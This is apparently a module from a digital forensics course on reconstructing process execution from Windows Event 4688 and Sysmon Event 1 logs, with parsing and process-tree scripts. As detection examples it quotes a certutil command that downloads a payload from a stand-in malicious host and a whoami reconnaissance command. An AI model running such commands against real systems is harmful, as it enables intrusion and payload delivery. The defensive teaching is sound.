In this section

Process Creation Forensics: Event 4688 Command Lines, Sysmon Event 1, Parent-Child Process Trees

12 hours · Module 2

Event logs are the execution source that provides what Prefetch and Amcache cannot: command-line arguments, parent-child process relationships, and user account context for every process creation.

Scenario

Prefetch identified cmd.exe on the suspect shortlist at 03:14 UTC. But cmd.exe is a legitimate system binary that runs hundreds of times a day. Prefetch cannot tell you what commands were run through that shell. Event 4688 can. If command-line auditing was enabled, every process creation includes the full command line: cmd.exe /c whoami /all > C:\Users\Public\recon.txt. That single event transforms an innocuous binary into evidence of reconnaissance.

Security Event 4688 (process creation) and Sysmon Event 1 (process create) record when processes are created, by whom, and with what arguments. These are the richest execution artifacts on the system. They are also the most volatile. The Security log rolls based on size, and on busy systems, 24 to 48 hours of retention is common. Collect early.

Estimated time: 45 minutes.

Event 4688: Security log process creation

Event 4688 is logged when a new process is created. With Advanced Audit Policy configured to include command-line process creation (Audit Process Creation in Advanced Audit Policy Configuration > Detailed Tracking), the event includes the full command line.

Parsing with EvtxECmd

# Parse Security log
EvtxECmd.exe -f "E:\Collection\C\Windows\System32\winevt\Logs\Security.evtx"
  --csv "E:\Processed\case-001" --csvf "security.csv"

# Parse all event logs (when you need cross-log correlation)
EvtxECmd.exe -d "E:\Collection\C\Windows\System32\winevt\Logs"
  --csv "E:\Processed\case-001" --csvf "eventlogs.csv"

EvtxECmd uses event maps to parse event-specific fields into structured columns. The maps are updated regularly. Run EvtxECmd.exe --sync to download the latest maps before processing.

Reading 4688 events

Filter the parsed CSV to EventId = 4688 in Timeline Explorer. The key fields:

Event 4688 - Process Creation
TimeCreated:       2026-03-15 03:17:22 UTC
EventId:           4688
NewProcessName:    C:\Users\Public\update.exe        The binary that launched
CommandLine:       update.exe -d C:\Users\Public\out  Full command line (if auditing enabled)
ParentProcessName: C:\Windows\System32\cmd.exe       What launched it
SubjectUserName:   jdoe                               User account
SubjectDomainName: CORP                               Domain
SubjectLogonId:    0x1A3F7B                           Links to logon session
NewProcessId:      0x1234                             PID
TokenElevationType: %%1937                            Full token (elevated)

CommandLine is the field that makes event logs uniquely valuable. Prefetch tells you update.exe ran. Event 4688 tells you update.exe -d C:\Users\Public\out ran, revealing the output directory the attacker used. If the CommandLine field is empty or shows only the executable name without arguments, command-line auditing is not enabled on this system. Check the Advanced Audit Policy configuration in the SECURITY hive.

ParentProcessName reveals the process tree. update.exe was launched by cmd.exe. That cmd.exe was launched by something else. Follow the parent chain backward by finding the 4688 event where cmd.exe was the NewProcessName and checking its ParentProcessName. This chain reconstruction reveals the attacker's execution flow from initial access to tool deployment.

SubjectLogonId ties the process creation to a specific logon session. All processes created under the same logon session share this ID. This is how you scope the attacker's activity: find their LogonId, then find every process created under that session.

# Find all processes created under the same logon session
Import-Csv "E:\Processed\case-001\security.csv" |
  Where-Object { $_.EventId -eq 4688 -and $_.SubjectLogonId -eq "0x1A3F7B" } |
  Select-Object TimeCreated, NewProcessName, CommandLine, ParentProcessName |
  Sort-Object TimeCreated

TokenElevationType indicates the process privilege level. %%1936 = elevated (administrator) token. %%1937 = full token (default for admin sessions). %%1938 = limited token (standard user). An attacker running tools with elevated privileges produces %%1936 or %%1937 entries.

When command-line auditing is disabled

On systems without Advanced Audit Policy configuration for process creation, the CommandLine field in Event 4688 is empty. You still get the process name, parent process, user account, and timestamp, but the arguments are missing. Without command lines, you cannot distinguish certutil.exe used for legitimate certificate management from certutil.exe -urlcache -split -f http://malicious.site/payload.exe used for file download.

Check whether command-line auditing was enabled by examining the audit policy in the SECURITY registry hive. If it was disabled, document the gap. The missing command lines reduce the value of event log evidence from "what the process did" to "that the process existed."

On Windows 10 and later, command-line auditing can also be enabled via Group Policy: Computer Configuration > Administrative Templates > System > Audit Process Creation > Include command line in process creation events. The corresponding registry value is HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit\ProcessCreationIncludeCmdLine_Enabled. A value of 1 means command-line auditing is active. Check this value in the SOFTWARE hive from your collection to confirm the configuration at the time of imaging.

When command lines are absent from 4688, Sysmon Event 1 (if deployed) provides them independently. PowerShell ScriptBlock logging (Event 4104) provides script content regardless of 4688 command-line auditing. Section 2.6 covers PowerShell-specific logging in depth.

Building the process tree

The attacker's execution flow is a tree. The initial access process (a phishing document opening Word, a web exploit launching the browser) spawns child processes that spawn further children. Reconstructing this tree from 4688 events reveals the complete attack chain.

# Build process tree for a specific parent
$session = Import-Csv "E:\Processed\case-001\security.csv" |
  Where-Object { $_.EventId -eq 4688 -and $_.SubjectLogonId -eq "0x1A3F7B" }

# Find root processes (parent is explorer.exe or services.exe)
$roots = $session | Where-Object {
  $_.ParentProcessName -match "explorer\.exe|services\.exe|svchost\.exe"
}

# For each root, find all descendants
foreach ($root in $roots) {
  Write-Host "ROOT: $($root.NewProcessName) at $($root.TimeCreated)"
  $children = $session | Where-Object {
    $_.ParentProcessName -eq $root.NewProcessName
  }
  foreach ($child in $children) {
    Write-Host "  CHILD: $($child.NewProcessName) - $($child.CommandLine)"
  }
}

Suspicious parent-child relationships reveal attacker activity. winword.exe spawning cmd.exe or powershell.exe indicates a macro-enabled document. services.exe spawning an unknown executable indicates a newly installed service. wmiprvse.exe spawning cmd.exe indicates WMI-based remote execution. The parent process tells you how the attacker launched the tool, not just that it ran.

Process termination and session duration

Event 4689 (process termination) records when a process exits. Pairing 4688 (creation) with 4689 (termination) for the same ProcessId gives you the process lifetime. A credential dumping tool that ran for 3 seconds tells a different story than one that ran for 45 minutes (the latter suggests interactive use or difficulty completing the dump).

# Calculate process runtime by pairing 4688 and 4689
$creates = Import-Csv "E:\Processed\case-001\security.csv" |
  Where-Object { $_.EventId -eq 4688 }
$terminates = Import-Csv "E:\Processed\case-001\security.csv" |
  Where-Object { $_.EventId -eq 4689 }

foreach ($proc in $creates | Where-Object { $_.NewProcessName -match "Users\\Public" }) {
  $term = $terminates | Where-Object {
    $_.ProcessId -eq $proc.NewProcessId -and
    [datetime]$_.TimeCreated -gt [datetime]$proc.TimeCreated
  } | Select-Object -First 1
  if ($term) {
    $duration = [datetime]$term.TimeCreated - [datetime]$proc.TimeCreated
    Write-Host "$($proc.NewProcessName): $($duration.TotalSeconds)s"
  }
}

Event 4689 is not always enabled (requires the same Detailed Tracking audit policy as 4688). When it is available, process duration adds a dimension that no other execution artifact provides. SRUM records hourly aggregates. Prefetch records timestamps but not duration. Event logs give you second-level precision on how long each tool ran.

Sysmon Event 1: enhanced process creation

Sysmon Event 1 records the same information as Event 4688 plus additional fields that significantly increase forensic value:

SYSMON EVENT 1 ADDITIONAL FIELDS    FORENSIC VALUE
Hashes (MD5, SHA256, IMPHASH)       Binary identification without Amcache
CurrentDirectory                    Working directory at process start
ParentCommandLine                   Full parent command line (not just name)
IntegrityLevel                      System, High, Medium, Low
FileVersion, Description, Product   PE metadata at execution time
OriginalFileName                    PE header original name (survives rename)

Hashes. Sysmon computes file hashes at process creation time and records them in the event. This provides the same identification capability as Amcache (Section 2.3) but from an independent source. If both agree, you have strong corroboration. The IMPHASH (Import Hash) identifies binaries with the same import table even when the file is repacked, providing a behavioral fingerprint that survives recompilation.

ParentCommandLine. Event 4688 records only the parent process name. Sysmon records the parent's full command line. This means you can see what arguments the parent was running with, which is critical for tracing exploitation chains: winword.exe /n "C:\Users\jdoe\Downloads\invoice.docx" tells you which document triggered the exploitation.

OriginalFileName. The PE header's original filename survives renaming. An attacker who renames mimikatz.exe to update.exe still has mimikatz.exe in the OriginalFileName field. Sysmon captures this at process creation time. This is the fastest way to identify renamed attacker tools without hash lookups.

Parsing Sysmon logs

# Parse Sysmon Operational log
EvtxECmd.exe -f "E:\Collection\C\Windows\System32\winevt\Logs\Microsoft-Windows-Sysmon%4Operational.evtx"
  --csv "E:\Processed\case-001" --csvf "sysmon.csv"

Filter to EventId = 1 for process creation events. Sysmon's log has its own retention independent of the Security log. On systems with generous Sysmon log sizes (500 MB+), Sysmon may retain process creation events for weeks when the Security log retained only days.

When Sysmon is not deployed

Sysmon requires installation and configuration before the incident. If it was not deployed, there are no Sysmon events. This is common: many organizations deploy Sysmon only after their first major incident. Document the absence as a gap. Event 4688 with command-line auditing is the fallback. If neither Sysmon nor command-line auditing is enabled, process creation events provide only the process name, user, and parent, without command lines or hashes.

Anti-Pattern

Searching only for known-bad process names in 4688 events. Attackers rename their tools. mimikatz.exe becomes update.exe. rclone.exe becomes svchost.exe. Searching for "mimikatz" finds nothing. Instead, search by parent-child anomalies (Word spawning cmd.exe), by LogonId (all processes in the attacker's session), by path (processes running from Users\Public or ProgramData), and by token elevation (unexpected elevated processes). The process name is the least reliable field in Event 4688.

Before moving on, verify your understanding: parse your event logs with EvtxECmd. Filter to Event ID 4688. Check whether command-line auditing is enabled (CommandLine field populated or empty). If Sysmon is available, compare Event 1 entries against 4688 for the same processes. Build the process tree for the attacker's logon session using SubjectLogonId. Identify suspicious parent-child relationships.

FIELDCRAFT 15 min

Decode Base64 PowerShell from Event 4688 and ScriptBlock logs

What you need

Event log CSV output from EvtxECmd. CyberChef or PowerShell console. Events filtered to ID 4688 and 4104 within investigation window.

Steps

1. Filter the event log CSV for Event 4688 entries where the CommandLine contains -e or -EncodedCommand. Extract the Base64 string (everything after the flag).

2. Decode with PowerShell: [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($encoded)). Note: PowerShell uses UTF-16LE encoding, not UTF-8. Using the wrong decoder produces garbled output.

3. Alternative: paste the Base64 into CyberChef with the recipe From Base64 + Decode text (UTF-16LE). This handles multi-line encoded commands that PowerShell truncates in the console.

4. If the decoded output contains another layer of encoding (nested Base64, gzip compression, XOR), apply additional CyberChef operations. Common patterns: IEX([IO.StreamReader]::new([IO.Compression.GzipStream]...)) indicates gzip-compressed payload.

5. Cross-reference with ScriptBlock logs (Event 4104). If ScriptBlock logging was enabled, the decoded script appears in the ScriptBlockText field. Compare the 4104 output with your manual decode to verify accuracy.

6. Record the decoded command, any URLs or IP addresses, file paths, and the parent process chain. This feeds the execution timeline and C2 identification.

Next: Section 2.6 covers PowerShell forensics: encoded command detection, ScriptBlock logging, and Living Off the Land Binary identification from command-line patterns.